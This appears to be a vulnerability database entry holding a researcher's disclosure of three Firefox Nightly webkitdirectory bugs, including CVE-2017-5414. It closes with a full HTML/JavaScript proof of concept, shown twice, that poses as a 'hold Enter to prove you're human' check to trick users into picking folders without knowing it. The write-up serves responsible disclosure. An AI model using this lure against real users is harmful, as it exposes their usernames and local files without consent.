RootSSV:92955Mozilla Firefox webkitdirectory local files disclosure (CVE-2017-5414)
0.001 Low
EPSS
Percentile
24.0%
I have reported three different bugs to Mozilla in the webkitdirectory feature. Luckily the folder picker was only implement in Mozilla’s Nightly browser, which is meant to test out new features before landing in the stable version.
Bug 1295914 - webkitdirectory could be used to trick users into allowing access to arbitrary folders (SEC-MEDIUM)
The first bug I reported that involved the folder picker was that of bad symantics. This bug was completely inspired by an older bug fixed in Google Chrome where the issue was about how undescriptive the UX titles were. Which could have lead to fooling unsuspecting users.
Bug 1319370 (CVE-2017-5414) webkitdirectory - OS username disclosure (SEC-MEDIUM)
I consider the second bug a key factor in achieving a full local files disclosure. The issue here was that when a file picker was opened once, then the second time its opened it would have descended one folder.
So I made a PoC where it showed if we tricked a victim into holding the ‘Enter’ key, then we could also pop a filepicker whilst this was happening and it would result in the user ‘picking’ a folder that they were unaware of.
In order to grab the OS username the victim would need to hold down the enter button for two filepicker dialogs, since (on Windows) the default directory is 'C:\Users{username}\Desktp'.
That is the main user interaction we rely on when trying to exploit this bug, inspired by this older Mozilla bug. Another way is to trick a user into repeatedly pressing a certain location and popping the folderpicker there so that the ‘confirm pick’ button will be pressed automatically.
Bug 1338637 - Arbitrary local files disclosure in input[webkitdirectory] (SEC-MEDIUM)
I found that if you would pop a filepicker while the user was holding the ‘Enter’ key, then we can trick a victim into giving us full access to all the files in the default directory. This came with some limits, being that on Windows OS it seemed like only the ‘My Documents’ folder was affected by this.
If it were a different folder like ‘Desktop’ (the default one) it would not load anything. This is a different matter on any other OS.
Thankfully, we have the bug previous to this one, where folders would descend after folderpicker use so I used this to my advantage in my bug report.
The following is the original PoC reported. Note that the first bug doesn’t really have a PoC code (other than filepicker html) and I combined the 2nd and 3rd bugs into one PoC.
<html>
<head>
</head>
<body>
<style>
#q{
opacity:0.0;
}
</style>
<b>Hold down enter for 5 seconds to prove you're human</b>
<input type=file id=q webkitdirectory='true'><br>
<textarea id="qtxt" style="height:300px;">Things grabbed:</textarea>
<script>
var i=25;
document.onkeypress=function(e){if(q.value.length>0){qtxt.value+=(q.value+'\n');}
if(q.value=='Documents'){
window.i=1000;
}
if(e.key==='Enter'){
window.i--;
if(window.i<3){
q.click();
}
}
};
q.onchange=function(){
if(window.i>10){
document.body.innerHTML=('I can read '+q.files.length+' files from Documents folder');
}
}
</script>
</body>
</html>
<html>
<head>
</head>
<body>
<style>
#q{
opacity:0.0;
}
</style>
<b>Hold down enter for 5 seconds to prove you're human</b>
<input type=file id=q webkitdirectory='true'><br>
<textarea id="qtxt" style="height:300px;">Things grabbed:</textarea>
<script>
var i=25;
document.onkeypress=function(e){if(q.value.length>0){qtxt.value+=(q.value+'\n');}
if(q.value=='Documents'){
window.i=1000;
}
if(e.key==='Enter'){
window.i--;
if(window.i<3){
q.click();
}
}
};
q.onchange=function(){
if(window.i>10){
document.body.innerHTML=('I can read '+q.files.length+' files from Documents folder');
}
}
</script>
</body>
</html>
Related
